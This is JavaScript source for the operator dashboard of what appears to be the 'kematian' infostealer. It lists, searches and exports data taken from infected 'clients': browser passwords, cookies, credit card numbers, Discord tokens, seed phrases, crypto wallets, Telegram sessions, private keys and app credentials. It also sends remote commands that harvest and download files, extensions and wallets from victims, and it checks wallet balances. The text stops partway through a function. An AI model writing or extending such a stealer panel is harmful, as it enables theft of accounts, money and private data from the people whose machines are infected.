(() => {
  const PLUGIN_ID = "kematian";
  const PAGE_SIZE = 1000;
  const ROW_H = 28;
  const VBUF = 20;

  const params = new URLSearchParams(window.location.search);
  const clientId = params.get("clientId") || "";
  const isGlobal = !clientId;

  const __ctx = clientId || "__global__";
  if (window.__kematianCtx === __ctx) return;
  if (window.__kematianSSE) { window.__kematianSSE.close(); window.__kematianSSE = null; }
  if (window.__kematianPoll) { clearInterval(window.__kematianPoll); window.__kematianPoll = null; }
  window.__kematianCtx = __ctx;

  const $ = (id) => document.getElementById(id);

  // ── DOM refs ──────────────────────────────────────────────────
  const logEl        = $("log");
  const dataCard     = $("data-card");
  const tabsEl       = $("tabs");
  const bfiltsEl     = $("bfilts");
  const cfiltsEl     = $("cfilts");
  const searchEl     = $("search");
  const thead        = $("data-thead");
  const tbody        = $("data-tbody");
  const tableWrap    = document.querySelector(".table-wrap");
  const noRows       = $("no-rows");
  const rowCount     = $("row-count");
  const revealToggle = $("reveal-toggle");
  const pagBar       = $("pagination-bar");
  const pagPrev      = $("page-prev");
  const pagNext      = $("page-next");
  const pagInfo      = $("page-info");

  const clientCard   = $("client-card");
  const clientIdEl   = $("client-id");
  const statusDot    = $("status-dot");
  const statusText   = $("status-text");
  const collectBtn   = $("collect-btn");
  const scanFilesBtn = $("scan-files-btn");
  const scanExtBtn   = $("scan-ext-btn");
  const scanWalletsBtn = $("scan-wallets-btn");
  const scanTgBtn    = $("scan-tg-btn");
  const scanKeysBtn  = $("scan-keys-btn");
  const scanAppsBtn  = $("scan-apps-btn");
  const pingBtn      = $("ping-btn");
  const exportBtn    = $("export-btn");

  const discordViewEl   = $("discord-view");
  const dpGrid          = $("dp-grid");
  const enrichAllBtn    = $("enrich-all-btn");
  const enrichStatus    = $("enrich-status");

  const walletViewEl    = $("wallet-view");
  const wlGrid          = $("wl-grid");
  const checkBalancesBtn = $("check-balances-btn");
  const balanceStatus   = $("balance-status");

  const settingsCard     = $("settings-card");
  const settingsGrid     = $("settings-grid");
  const settingsAdminMsg = $("settings-admin-msg");
  const settingsStatus   = $("settings-status");
  const autoHarvestToggle = $("auto-harvest-toggle");
  const autoFilesToggle   = $("auto-files-toggle");
  const autoExtToggle     = $("auto-ext-toggle");

  const globalCard   = $("global-card");
  const clientsCard  = $("clients-card");
  const clientsList  = $("clients-list");
  const globalStats  = $("global-stats");
  const refreshBtn   = $("refresh-btn");
  const exportAllBtn = $("export-all-btn");
  const clearAllBtn  = $("clear-all-btn");
  const summaryCard  = $("summary-card");
  const summaryGrid  = $("summary-grid");
  const summaryTotals = $("summary-totals");
  const searchAllView  = $("search-all-view");
  const searchAllGrid  = $("search-all-grid");
  const searchAllEmpty = $("search-all-empty");

  // ── Column definitions ────────────────────────────────────────
  const CLIENT_COL = { k: "clientId", h: "Client", clientbadge: true };

  const TABS = [
    {
      id: "passwords", label: "Passwords", key: "passwords", rpc: "list_passwords",
      cols: [
        { k: "url",      h: "URL",      grow: true },
        { k: "username", h: "Username" },
        { k: "password", h: "Password", sensitive: true },
        { k: "browser",  h: "Browser",  badge: true },
        { k: "profile",  h: "Profile" },
      ],
    },
    {
      id: "cookies", label: "Cookies", key: "cookies", rpc: "list_cookies",
      cols: [
        { k: "host",       h: "Host",    grow: true },
        { k: "name",       h: "Name" },
        { k: "value",      h: "Value",   truncate: true },
        { k: "path",       h: "Path" },
        { k: "secure",     h: "Sec",     bool: true },
        { k: "httpOnly",   h: "HTTP",    bool: true },
        { k: "expiresUtc", h: "Expires", chromets: true },
        { k: "browser",    h: "Browser", badge: true },
        { k: "profile",    h: "Profile" },
      ],
    },
    {
      id: "autofill", label: "Autofill", key: "autofill", rpc: "list_autofill",
      cols: [
        { k: "name",    h: "Field",   grow: true },
        { k: "value",   h: "Value",   truncate: true },
        { k: "browser", h: "Browser", badge: true },
        { k: "profile", h: "Profile" },
      ],
    },
    {
      id: "history", label: "History", key: "history", rpc: "list_history",
      cols: [
        { k: "url",           h: "URL",     grow: true },
        { k: "title",         h: "Title" },
        { k: "visitTimeUnix", h: "Visited", unixtimestamp: true },
        { k: "browser",       h: "Browser", badge: true },
        { k: "profile",       h: "Profile" },
      ],
    },
    {
      id: "bookmarks", label: "Bookmarks", key: "bookmarks", rpc: "list_bookmarks",
      cols: [
        { k: "name",    h: "Name",    grow: true },
        { k: "url",     h: "URL",     truncate: true },
        { k: "type",    h: "Type" },
        { k: "browser", h: "Browser", badge: true },
        { k: "profile", h: "Profile" },
      ],
    },
    {
      id: "cards", label: "Cards", key: "creditCards", rpc: "list_credit_cards",
      cols: [
        { k: "nameOnCard",      h: "Name on Card", grow: true },
        { k: "cardNumber",      h: "Card Number",  sensitive: true },
        { k: "expirationMonth", h: "Month" },
        { k: "expirationYear",  h: "Year" },
        { k: "nickname",        h: "Nickname" },
        { k: "browser",         h: "Browser",      badge: true },
        { k: "profile",         h: "Profile" },
      ],
    },
    {
      id: "discord", label: "Discord", key: "discordTokens", rpc: "list_discord_tokens",
      cols: [
        { k: "token",  h: "Token",  grow: true, sensitive: true },
        { k: "source", h: "Source" },
      ],
    },
    {
      id: "files", label: "Files", key: "files", rpc: "list_files",
      cols: [
        { k: "dir",      h: "Location" },
        { k: "name",     h: "Name",     grow: true },
        { k: "ext",      h: "Ext" },
        { k: "size",     h: "Size",     filesize: true },
        { k: "modified", h: "Modified", unixtimestamp: true },
        { k: "tags",     h: "Tags",     seedtag: true },
        { k: "_dl",      h: "",         filedownload: true },
      ],
    },
    {
      id: "extensions", label: "Extensions", key: "extensions", rpc: "list_extensions",
      cols: [
        { k: "name",     h: "Name",    grow: true },
        { k: "version",  h: "Version" },
        { k: "extId",    h: "Ext ID",  mono: true },
        { k: "category", h: "Type",    walletbadge: true },
        { k: "browser",  h: "Browser", badge: true },
        { k: "profile",  h: "Profile" },
        { k: "_dl",      h: "",        extdownload: true },
      ],
    },
    {
      id: "wallets", label: "Wallets", key: "wallets", rpc: "list_wallets",
      cols: [
        { k: "name",  h: "Wallet", grow: true },
        { k: "path",  h: "Path",   truncate: true },
        { k: "files", h: "Files" },
        { k: "size",  h: "Size",   filesize: true },
        { k: "_dl",   h: "",       walletdownload: true },
      ],
    },
    {
      id: "telegram", label: "Telegram", key: "telegram", rpc: "list_telegram",
      cols: [
        { k: "account",    h: "Account",    grow: true },
        { k: "path",       h: "Path",       truncate: true },
        { k: "size",       h: "Size",       filesize: true },
        { k: "hasContent", h: "Downloaded", bool: true },
      ],
    },
    {
      id: "keys", label: "Keys", key: "keys", rpc: "list_keys",
      cols: [
        { k: "type",    h: "Type",    badge: true },
        { k: "name",    h: "Name",    grow: true },
        { k: "path",    h: "Path",    truncate: true },
        { k: "size",    h: "Size",    filesize: true },
        { k: "content", h: "Content", sensitive: true, truncate: true },
      ],
    },
    {
      id: "seeds", label: "Seeds", key: "seeds", rpc: "list_seeds",
      cols: [
        { k: "phrase",  h: "Seed Phrase", sensitive: true, grow: true },
        { k: "words",   h: "Words" },
        { k: "valid",   h: "BIP39",  bool: true },
        { k: "source",  h: "Source", badge: true },
        { k: "path",    h: "Path",   truncate: true },
      ],
    },
    {
      id: "apps", label: "Apps", key: "appCredentials", rpc: "list_app_credentials",
      cols: [
        { k: "application", h: "Application", badge: true },
        { k: "host",        h: "Host",        grow: true },
        { k: "port",        h: "Port" },
        { k: "username",    h: "Username" },
        { k: "password",    h: "Password",    sensitive: true },
        { k: "protocol",    h: "Protocol",    badge: true },
        { k: "extra",       h: "Extra",       truncate: true },
      ],
    },
  ];

  const BROWSERS = [
    "Chrome", "Edge", "Brave", "Vivaldi", "Yandex",
    "Arc", "Opera", "Opera GX", "Firefox", "Waterfox",
  ];

  const DATA_KEYS = [
    "passwords", "cookies", "autofill", "history", "bookmarks",
    "creditCards", "discordTokens", "files", "extensions", "wallets",
    "telegram", "keys", "seeds", "appCredentials",
  ];

  // ── Discord helpers ───────────────────────────────────────────
  const DISCORD_BADGE_FLAGS = [
    { f: 1 << 0,  label: "Staff",        title: "Discord Staff" },
    { f: 1 << 1,  label: "Partner",      title: "Partnered Server Owner" },
    { f: 1 << 2,  label: "HypeSquad",    title: "HypeSquad Events" },
    { f: 1 << 3,  label: "Bug Hunter",   title: "Bug Hunter Level 1" },
    { f: 1 << 6,  label: "Bravery",      title: "HypeSquad Bravery" },
    { f: 1 << 7,  label: "Brilliance",   title: "HypeSquad Brilliance" },
    { f: 1 << 8,  label: "Balance",      title: "HypeSquad Balance" },
    { f: 1 << 9,  label: "Early Sup.",   title: "Early Supporter" },
    { f: 1 << 14, label: "Bug Hunter II", title: "Bug Hunter Level 2" },
    { f: 1 << 17, label: "Bot Dev",      title: "Early Verified Bot Developer" },
    { f: 1 << 18, label: "Moderator",    title: "Certified Discord Moderator" },
    { f: 1 << 22, label: "Active Dev",   title: "Active Developer" },
  ];
  const NITRO_LABELS = ["—", "Nitro Classic", "Nitro", "Nitro Basic"];

  function discordSnowflakeDate(id) {
    if (!id) return null;
    try { return new Date(Number(BigInt(id) >> 22n) + 1420070400000); }
    catch { return null; }
  }

  function discordAvatarUrl(userId, hash) {
    if (hash && userId)
      return `https://cdn.discordapp.com/avatars/${userId}/${hash}.webp?size=64`;
    if (userId) {
      try { return `https://cdn.discordapp.com/embed/avatars/${Number(BigInt(userId) % 6n)}.png`; }
      catch { return null; }
    }
    return null;
  }

  function dpBadgesHtml(flags) {
    if (!flags) return "";
    return DISCORD_BADGE_FLAGS
      .filter(b => (flags & b.f) !== 0)
      .map(b => `<span class="dp-badge" title="${esc(b.title)}">${esc(b.label)}</span>`)
      .join("");
  }

  function dpNitroHtml(tier) {
    if (!tier) return "";
    return `<span class="dp-badge dp-badge-nitro">${esc(NITRO_LABELS[tier] || "Nitro")}</span>`;
  }

  // ── State ─────────────────────────────────────────────────────
  let lastResults    = null;
  let tabData        = {};
  let activeTab      = "passwords";
  let activeBrowser  = "all";
  let activeClient   = "all";
  let sortCol        = null;
  let sortAsc        = true;
  let showSensitive  = false;
  let knownClients   = [];
  let searchTimer    = null;
  let userRole       = null;
  let historyView    = "all"; // "all" or "top"
  let searchAllResults = null;

  const pendingFetches = new Map();
  const pendingExtZips = new Map();
  const pendingWalletZips = new Map();
  let walletBalances = {};
  let walletCrackResults = {};

  // ── Virtual scroll ────────────────────────────────────────────
  let virtRows  = [];
  let virtCols  = [];
  let scrollRAF = null;

  function makeSpacer() {
    const tr = document.createElement("tr");
    const td = document.createElement("td");
    td.style.cssText = "height:0;padding:0;border:0;";
    tr.appendChild(td);
    return tr;
  }
  const topSpacer = makeSpacer();
  const botSpacer = makeSpacer();

  tableWrap.addEventListener("scroll", () => {
    if (scrollRAF) return;
    scrollRAF = requestAnimationFrame(() => { scrollRAF = null; vRender(); });
  }, { passive: true });

  function startVirt(rows, cols, serverTotal) {
    virtRows = rows;
    virtCols = cols;
    const span = cols.length || 1;
    topSpacer.cells[0].colSpan = span;
    botSpacer.cells[0].colSpan = span;
    tbody.innerHTML = "";
    tbody.appendChild(topSpacer);
    tbody.appendChild(botSpacer);
    tableWrap.scrollTop = 0;
    const total = serverTotal !== undefined ? serverTotal : rows.length;
    noRows.style.display = total === 0 ? "" : "none";
    rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "entry" : "entries"}`;
    vRender();
  }

  function vRender() {
    if (!virtRows.length) return;
    const scrollTop = tableWrap.scrollTop;
    const viewH = tableWrap.clientHeight || 520;
    const first = Math.max(0, Math.floor(scrollTop / ROW_H) - VBUF);
    const last = Math.min(virtRows.length, Math.ceil((scrollTop + viewH) / ROW_H) + VBUF);
    topSpacer.cells[0].style.height = (first * ROW_H) + "px";
    botSpacer.cells[0].style.height = ((virtRows.length - last) * ROW_H) + "px";
    while (tbody.rows.length > 2) tbody.deleteRow(1);
    for (let i = first; i < last; i++)
      tbody.insertBefore(buildRow(virtRows[i], virtCols), botSpacer);
  }

  // ── Utilities ─────────────────────────────────────────────────
  function log(line) {
    logEl.textContent = `[${new Date().toLocaleTimeString()}] ${line}\n` + logEl.textContent;
  }

  function esc(s) {
    return String(s).replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;");
  }

  function chromeTs(v) {
    if (!v || v === 0) return "";
    const ms = Math.round(v / 1000) - 11644473600000;
    return ms <= 0 ? "" : new Date(ms).toLocaleString();
  }

  function unixTs(v) {
    return (!v || v === 0) ? "" : new Date(v * 1000).toLocaleString();
  }

  function humanSize(bytes) {
    if (bytes === 0) return "0 B";
    const units = ["B", "KB", "MB", "GB"];
    const i = Math.floor(Math.log(bytes) / Math.log(1024));
    return (bytes / Math.pow(1024, i)).toFixed(i === 0 ? 0 : 1) + " " + units[i];
  }

  function shortId(id) { return id ? String(id).slice(0, 8) : "?"; }

  function downloadBase64(content, filename, mime) {
    const raw = atob(content);
    const bytes = new Uint8Array(raw.length);
    for (let i = 0; i < raw.length; i++) bytes[i] = raw.charCodeAt(i);
    const blob = new Blob([bytes], mime ? { type: mime } : undefined);
    const a = document.createElement("a");
    a.href = URL.createObjectURL(blob);
    a.download = filename;
    a.click();
    URL.revokeObjectURL(a.href);
  }

  // ── Network ───────────────────────────────────────────────────
  async function sendEvent(event, payload) {
    if (!clientId) { log("ERROR: no clientId"); return; }
    try {
      const res = await fetch(
        `/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/event`,
        { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ event, payload }) },
      );
      if (!res.ok) log(`send failed: ${res.status}`);
    } catch (e) { log(`send error: ${e.message}`); }
  }

  async function rpc(method, params) {
    const res = await fetch(`/api/plugins/${PLUGIN_ID}/rpc`, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ method, params: params || {} }),
    });
    const data = await res.json();
    if (!data.ok) {
      const msg = data.error || "RPC error";
      console.error(`[kematian] RPC ${method} failed (${res.status}): ${msg}`);
      throw new Error(msg);
    }
    return data.result;
  }

  async function fetchUserRole() {
    try {
      const res = await fetch("/api/auth/me");
      if (!res.ok) return null;
      const data = await res.json();
      return data.role || null;
    } catch { return null; }
  }

  // ── Cell rendering ────────────────────────────────────────────
  function cellContent(col, raw, reveal) {
    const v = raw == null ? "" : raw;
    if (col.clientbadge)
      return `<span class="badge badge-client" title="${esc(String(v))}">${esc(shortId(String(v)))}</span>`;
    if (col.bool)
      return v ? `<span class="bool-yes">✓</span>` : `<span class="bool-no">—</span>`;
    if (col.badge)
      return `<span class="badge badge-${esc(String(v || "").replace(/\s+/g, "-"))}">${esc(String(v || ""))}</span>`;
    if (col.chromets)
      return esc(chromeTs(v));
    if (col.unixtimestamp)
      return esc(unixTs(v));
    if (col.filesize)
      return esc(humanSize(Number(v) || 0));
    if (col.mono)
      return `<span style="font-family:var(--mono,monospace);font-size:11px;color:#94a3b8">${esc(String(v || ""))}</span>`;
    if (col.seedtag) {
      if (!v) return "";
      return String(v).split(",").filter(Boolean)
        .map(t => t === "seed"
          ? `<span class="badge badge-seed">seed phrase</span>`
          : `<span class="badge">${esc(t)}</span>`)
        .join(" ");
    }
    if (col.walletbadge) {
      if (v === "wallet") return `<span class="badge badge-wallet">Wallet</span>`;
      return "";
    }
    if (col.filedownload)
      return isGlobal ? "" : `<button class="btn btn-dl" title="Fetch &amp; download">↓</button>`;
    if (col.extdownload)
      return isGlobal ? "" : `<button class="btn btn-dl" title="Download as ZIP">ZIP</button>`;
    if (col.walletdownload)
      return isGlobal ? "" : `<button class="btn btn-dl" title="Download wallet as ZIP">ZIP</button>`;
    if (col.sensitive) {
      const text = String(v);
      if (!text) return `<span class="bool-no">—</span>`;
      return reveal
        ? `<span class="sensitive revealed">${esc(text)}</span>`
        : `<span class="sensitive">••••••••</span>`;
    }
    const text = String(v);
    if (col.truncate && text.length > 80)
      return `<span title="${esc(text)}">${esc(text.slice(0, 80))}…</span>`;
    return esc(text);
  }

  function sortValue(col, row) {
    const v = row[col.k];
    if (col.bool) return v ? 1 : 0;
    if (col.chromets || col.unixtimestamp) return v || 0;
    if (col.filesize) return Number(v) || 0;
    if (col.filedownload || col.clientbadge) return String(v || "").toLowerCase();
    if (typeof v === "number") return v;
    return String(v || "").toLowerCase();
  }

  function applySortInPlace(rows, cols) {
    if (sortCol === null || sortCol >= cols.length) return;
    const col = cols[sortCol];
    rows.sort((a, b) => {
      const av = sortValue(col, a), bv = sortValue(col, b);
      if (av < bv) return sortAsc ? -1 : 1;
      if (av > bv) return sortAsc ? 1 : -1;
      return 0;
    });
  }

  function buildRow(row, cols) {
    const tr = document.createElement("tr");
    for (const col of cols) {
      const td = document.createElement("td");
      td.innerHTML = cellContent(col, row[col.k], showSensitive);
      td.addEventListener("click", () => {
        if (!isGlobal && col.filedownload)    { fetchAndDownload(row.path, row.name, td); return; }
        if (!isGlobal && col.extdownload)    { fetchAndDownloadExt(row.path, row.extId, td); return; }
        if (!isGlobal && col.walletdownload) { fetchAndDownloadWallet(row.path, row.name, td); return; }
        const val = col.sensitive     ? String(row[col.k] || "")
                  : col.chromets      ? chromeTs(row[col.k])
                  : col.unixtimestamp ? unixTs(row[col.k])
                  : col.filesize      ? String(row[col.k] || "")
                  : String(row[col.k] || "");
        if (!val) return;
        navigator.clipboard.writeText(val).catch(() => {});
        td.classList.add("copied-flash");
        setTimeout(() => td.classList.remove("copied-flash"), 600);
      });
      tr.appendChild(td);
    }
    return tr;
  }

  function buildHeader(cols) {
    thead.innerHTML = "";
    const trh = document.createElement("tr");
    cols.forEach((col, i) => {
      const th = document.createElement("th");
      let arrow = "⇅", cls = "";
      if (sortCol === i) { arrow = sortAsc ? "↑" : "↓"; cls = sortAsc ? "sort-asc" : "sort-desc"; }
      th.className = cls;
      th.innerHTML = `${esc(col.h)} <span class="sort-arrow">${arrow}</span>`;
      th.addEventListener("click", () => {
        if (sortCol === i) sortAsc = !sortAsc; else { sortCol = i; sortAsc = true; }
        renderTable();
      });
      trh.appendChild(th);
    });
    thead.appendChild(trh);
  }

  // ── Tabs ──────────────────────────────────────────────────────
  function getGlobalTabTotal(tabKey) {
    if (activeClient !== "all") {
      const c = knownClients.find(x => x.clientId === activeClient);
      return c ? (c[tabKey] || 0) : 0;
    }
    return knownClients.reduce((sum, c) => sum + (c[tabKey] || 0), 0);
  }

  function buildTabs() {
    tabsEl.innerHTML = "";

    const q = searchEl.value.trim();
    if (q) {
      const saBtn = document.createElement("button");
      saBtn.className = "tab tab-search" + (activeTab === "__search__" ? " active" : "");
      const saCount = searchAllResults ? searchAllResults.groups.reduce((s, g) => s + g.total, 0) : 0;
      saBtn.innerHTML = `Search All <span class="tab-count">${saCount.toLocaleString()}</span>`;
      saBtn.addEventListener("click", () => {
        activeTab = "__search__";
        sortCol = null; sortAsc = true;
        buildTabs(); buildBfilts();
        if (isGlobal) { buildCfilts(); loadSearchAll(); }
        else renderTable();
      });
      tabsEl.appendChild(saBtn);
    }

    for (const t of TABS) {
      const btn = document.createElement("button");
      btn.className = "tab" + (t.id === activeTab ? " active" : "");
      const count = isGlobal
        ? getGlobalTabTotal(t.key).toLocaleString()
        : (lastResults ? (lastResults[t.key] || []).length : 0);
      btn.innerHTML = `${esc(t.label)} <span class="tab-count">${count}</span>`;
      btn.addEventListener("click", () => {
        activeTab = t.id;
        sortCol = null; sortAsc = true;
        buildTabs(); buildBfilts();
        if (isGlobal) {
          buildCfilts();
          if (tabData[t.key]) tabData[t.key].offset = 0;
          loadGlobalTab();
        } else {
          renderTable();
        }
      });
      tabsEl.appendChild(btn);
    }
  }

  // ── Browser filter ────────────────────────────────────────────
  function buildBfilts() {
    const tab = TABS.find(t => t.id === activeTab);
    if (!tab?.cols.some(c => c.k === "browser")) { bfiltsEl.style.display = "none"; return; }
    bfiltsEl.style.display = "";
    bfiltsEl.innerHTML = "";

    // History view toggle
    if (activeTab === "history") {
      const viewToggle = document.createElement("div");
      viewToggle.className = "history-view-toggle";
      for (const v of [{ label: "All", value: "all" }, { label: "Top Sites", value: "top" }]) {
        const btn = document.createElement("button");
        btn.className = "bfilt" + (historyView === v.value ? " active" : "");
        btn.textContent = v.label;
        btn.addEventListener("click", () => {
          historyView = v.value;
          buildBfilts();
          renderTable();
        });
        viewToggle.appendChild(btn);
      }
      bfiltsEl.appendChild(viewToggle);
      const sep = document.createElement("span");
      sep.className = "bfilt-sep";
      bfiltsEl.appendChild(sep);
    }

    const pills = [{ label: "All", value: "all" }, ...BROWSERS.map(b => ({ label: b, value: b }))];
    for (const p of pills) {
      const btn = document.createElement("button");
      btn.className = "bfilt" + (activeBrowser === p.value ? " active" : "");
      btn.dataset.browser = p.value;
      btn.textContent = p.label;
      btn.addEventListener("click", () => {
        activeBrowser = p.value;
        buildBfilts();
        if (isGlobal) {
          const t2 = TABS.find(t => t.id === activeTab);
          if (t2?.key && tabData[t2.key]) tabData[t2.key].offset = 0;
          loadGlobalTab();
        } else {
          renderTable();
        }
      });
      bfiltsEl.appendChild(btn);
    }
  }

  // ── Client filter ─────────────────────────────────────────────
  function buildCfilts() {
    if (!isGlobal || !cfiltsEl) return;
    if (knownClients.length === 0) { cfiltsEl.style.display = "none"; return; }
    cfiltsEl.style.display = "";
    cfiltsEl.innerHTML = "";
    const pills = [
      { label: "All Clients", value: "all" },
      ...knownClients.map(c => ({ label: shortId(c.clientId), value: c.clientId, full: c.clientId })),
    ];
    for (const p of pills) {
      const btn = document.createElement("button");
      btn.className = "cfilt" + (activeClient === p.value ? " active" : "");
      btn.textContent = p.label;
      if (p.full) btn.title = p.full;
      btn.addEventListener("click", () => {
        activeClient = p.value;
        const tab = TABS.find(t => t.id === activeTab);
        if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0;
        buildCfilts(); buildTabs();
        loadGlobalTab();
      });
      cfiltsEl.appendChild(btn);
    }
  }

  // ── Search All ────────────────────────────────────────────────
  async function loadSearchAll() {
    const q = searchEl.value.trim();
    if (!q) { searchAllResults = null; renderTable(); return; }
    const p = { search: q, limit: 10 };
    if (activeClient !== "all") p.clientId = activeClient;
    try {
      searchAllResults = await rpc("global_search", p);
      buildTabs();
      renderTable();
    } catch (e) { log(`Search error: ${e.message}`); }
  }

  function renderSearchAll() {
    if (!searchAllView || !searchAllGrid) return;
    searchAllGrid.innerHTML = "";
    const groups = searchAllResults?.groups || [];
    searchAllEmpty.style.display = groups.length === 0 ? "" : "none";

    for (const g of groups) {
      const tab = TABS.find(t => t.key === g.key);
      if (!tab) continue;
      const cols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols;
      const displayCols = cols.filter(c => !c.filedownload && !c.extdownload && !c.walletdownload);
      const previewCols = displayCols.slice(0, 5);

      const section = document.createElement("div");
      section.className = "search-group";

      const header = document.createElement("div");
      header.className = "search-group-header";
      header.innerHTML = `
        <div class="search-group-title">
          ${esc(g.label)}
          <span class="search-group-count">${g.total.toLocaleString()}</span>
        </div>
        <div class="search-group-view">View all &rarr;</div>
      `;
      header.addEventListener("click", () => {
        activeTab = tab.id;
        sortCol = null; sortAsc = true;
        buildTabs(); buildBfilts();
        if (isGlobal) {
          buildCfilts();
          if (tabData[tab.key]) tabData[tab.key].offset = 0;
          searchEl.value = searchEl.value;
          loadGlobalTab();
        } else {
          renderTable();
        }
      });
      section.appendChild(header);

      const tbl = document.createElement("table");
      tbl.className = "search-group-table";
      const thRow = document.createElement("tr");
      for (const col of previewCols) {
        const th = document.createElement("th");
        th.textContent = col.h;
        if (col.grow) th.style.width = "40%";
        thRow.appendChild(th);
      }
      tbl.appendChild(thRow);

      for (const row of g.rows) {
        const tr = document.createElement("tr");
        for (const col of previewCols) {
          const td = document.createElement("td");
          if (col.grow) td.className = "sg-grow";
          td.innerHTML = cellContent(col, row[col.k], showSensitive);
          td.addEventListener("click", () => {
            const val = col.sensitive ? String(row[col.k] || "")
                      : col.chromets ? chromeTs(row[col.k])
                      : String(row[col.k] || "");
            if (!val) return;
            navigator.clipboard.writeText(val).catch(() => {});
            td.classList.add("copied-flash");
            setTimeout(() => td.classList.remove("copied-flash"), 600);
          });
          tr.appendChild(td);
        }
        tbl.appendChild(tr);
      }
      section.appendChild(tbl);

      if (g.total > g.rows.length) {
        const more = document.createElement("div");
        more.className = "search-group-more";
        more.textContent = `+ ${(g.total - g.rows.length).toLocaleString()} more results — click to view all`;
        more.addEventListener("click", () => header.click());
        section.appendChild(more);
      }

      searchAllGrid.appendChild(section);
    }
  }

  function loadSearchAllLocal() {
    const q = searchEl.value.trim().toLowerCase();
    if (!q || !lastResults) { searchAllResults = null; buildTabs(); return; }
    const groups = [];
    for (const tab of TABS) {
      const rows = lastResults[tab.key] || [];
      if (!rows.length) continue;
      const cols = tab.cols;
      const matched = rows.filter(r =>
        cols.some(c => String(r[c.k] || "").toLowerCase().includes(q))
      );
      if (matched.length > 0) {
        groups.push({ key: tab.key, label: tab.label, total: matched.length, rows: matched.slice(0, 10) });
      }
    }
    searchAllResults = { groups };
    buildTabs();
  }

  // ── Pagination ────────────────────────────────────────────────
  function updatePagination(tabKey) {
    if (!isGlobal || !pagBar) return;
    const td = tabData[tabKey];
    if (!td || td.total <= PAGE_SIZE) { pagBar.style.display = "none"; return; }
    pagBar.style.display = "";
    const from = td.offset + 1;
    const to = Math.min(td.offset + td.rows.length, td.total);
    pagInfo.textContent = `${from.toLocaleString()}–${to.toLocaleString()} of ${td.total.toLocaleString()}`;
    pagPrev.disabled = td.offset === 0;
    pagNext.disabled = td.offset + td.rows.length >= td.total;
  }

  // ── Render table ──────────────────────────────────────────────
  function renderTable() {
    if (activeTab === "__search__") {
      tableWrap.style.display = "none";
      noRows.style.display = "none";
      if (discordViewEl) discordViewEl.style.display = "none";
      if (walletViewEl) walletViewEl.style.display = "none";
      if (searchAllView) searchAllView.style.display = "";
      if (pagBar) pagBar.style.display = "none";
      renderSearchAll();
      const total = searchAllResults?.groups.reduce((s, g) => s + g.total, 0) || 0;
      rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "result" : "results"}`;
      return;
    }
    if (searchAllView) searchAllView.style.display = "none";

    const tab = TABS.find(t => t.id === activeTab);
    if (!tab) return;

    if (activeTab === "discord") {
      tableWrap.style.display = "none";
      if (discordViewEl) discordViewEl.style.display = "";
      if (walletViewEl) walletViewEl.style.display = "none";
      loadDiscordProfiles();
      return;
    }
    if (activeTab === "wallets") {
      tableWrap.style.display = "none";
      if (discordViewEl) discordViewEl.style.display = "none";
      if (walletViewEl) walletViewEl.style.display = "";
      loadWalletCards();
      return;
    }
    if (discordViewEl) discordViewEl.style.display = "none";
    if (walletViewEl) walletViewEl.style.display = "none";
    tableWrap.style.display = "";

    // Top Sites view for history tab
    if (activeTab === "history" && historyView === "top") {
      let rows;
      if (isGlobal) {
        const td = tabData[tab.key];
        rows = td?.rows || [];
      } else {
        rows = lastResults?.[tab.key] || [];
      }
      if (activeBrowser !== "all") rows = rows.filter(r => r.browser === activeBrowser);
      const q = searchEl.value.trim().toLowerCase();
      if (q) rows = rows.filter(r => (r.url || "").toLowerCase().includes(q) || (r.title || "").toLowerCase().includes(q));

      // Group by domain
      const domainMap = {};
      for (const r of rows) {
        let domain;
        try { domain = new URL(r.url).hostname.replace(/^www\./, ""); } catch { domain = r.url || "unknown"; }
        if (!domainMap[domain]) domainMap[domain] = { domain, visits: 0, lastVisit: 0, titles: new Set() };
        domainMap[domain].visits++;
        if (r.visitTimeUnix > domainMap[domain].lastVisit) domainMap[domain].lastVisit = r.visitTimeUnix;
        if (r.title) domainMap[domain].titles.add(r.title);
      }
      const sorted = Object.values(domainMap).sort((a, b) => b.visits - a.visits);

      const topCols = [
        { k: "domain", h: "Domain", grow: true },
        { k: "visits", h: "Visits" },
        { k: "lastVisit", h: "Last Visit", unixtimestamp: true },
      ];
      buildHeader(topCols);
      const topRows = sorted.map(d => ({
        domain: d.domain,
        visits: d.visits,
        lastVisit: d.lastVisit,
      }));
      startVirt(topRows, topCols);
      if (isGlobal) updatePagination(tab.key);
      return;
    }

    const allCols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols;
    const cols = allCols.filter(c => !(isGlobal && c.filedownload));
    let rows, serverTotal;

    if (isGlobal) {
      const td = tabData[tab.key];
      if (!td) { buildHeader(cols); startVirt([], cols); updatePagination(tab.key); return; }
      rows = [...td.rows];
      serverTotal = td.total;
    } else {
      if (!lastResults) { buildHeader(cols); startVirt([], cols); return; }
      rows = [...(lastResults[tab.key] || [])];
      if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser"))
        rows = rows.filter(r => r.browser === activeBrowser);
      const q = searchEl.value.trim().toLowerCase();
      if (q) rows = rows.filter(r => cols.some(c => String(r[c.k] || "").toLowerCase().includes(q)));
    }

    applySortInPlace(rows, cols);
    buildHeader(cols);
    startVirt(rows, cols, serverTotal);
    if (isGlobal) updatePagination(tab.key);
  }

  // ── File fetch (per-client) ───────────────────────────────────
  function fetchAndDownload(path, name, tdEl) {
    if (pendingFetches.has(path)) return;
    const btn = tdEl.querySelector(".btn-dl");
    if (btn) { btn.textContent = "…"; btn.disabled = true; }
    pendingFetches.set(path, { name, btn });
    sendEvent("fetch_file", { path });
    log(`Fetching: ${name}`);
  }

  function fetchAndDownloadExt(path, extId, tdEl) {
    if (pendingExtZips.has(path)) return;
    const btn = tdEl.querySelector(".btn-dl");
    if (btn) { btn.textContent = "…"; btn.disabled = true; }
    pendingExtZips.set(path, { extId, btn });
    sendEvent("fetch_ext_zip", { path, extId });
    log(`Fetching extension ZIP: ${extId || path}`);
  }

  function fetchAndDownloadWallet(path, name, tdEl) {
    if (pendingWalletZips.has(path)) return;
    const btn = tdEl.querySelector(".btn-dl");
    if (btn) { btn.textContent = "…"; btn.disabled = true; }
    pendingWalletZips.set(path, { name, btn });
